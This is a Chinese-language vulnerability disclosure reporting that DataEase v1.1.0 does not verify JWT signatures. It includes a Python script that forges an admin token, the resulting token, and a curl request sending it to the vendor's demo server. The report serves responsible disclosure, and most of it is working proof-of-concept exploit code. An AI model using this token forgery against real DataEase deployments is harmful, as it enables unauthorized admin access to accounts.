DataEase身份认证中的安全缺陷

DataEase身份认证中的安全缺陷

1
2
http://192.168.0.58/
https://github.com/dataease/dataease/issues/690

官方最新版DataEase(v1.1.0)存在身份认证缺陷,已通过GitHub issues反馈给官方。

DataEase 版本

v1.1.0

浏览器版本

此Bug与浏览器版本无关。

Bug 描述

服务端未校验HTTP请求头部中的Authorization字段(JWT)的签名,攻击者可以随意构造token登录任意账号。

Bug 重现步骤(有截图更好)

  1. 构造一个JWT Token.
1
2
3
4
5
6
7
8
9
10
import base64
import time

timestamp = int(time.time())
jwt_header_encoded = base64.b64encode('{"typ":"JWT","alg":"HS256"}')
jwt_body_encoded = base64.b64encode('{"exp":%d,"userId":1,"username":"admin"}'%(timestamp))
jwt_signature = 'anything'
jwt = '{}.{}.{}'.format(jwt_header_encoded, jwt_body_encoded, jwt_signature)
jwt = jwt.replace('=', '')
print(jwt)
1
2
3
# output

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2Mjk3ODA5MTYsInVzZXJJZCI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9.anything
  1. 发送请求
1
curl -XPOST -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2Mjk3ODA5MTYsInVzZXJJZCI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9.anything' 'https://demo.dataease.io/api/user/personInfo/'

dataease_vul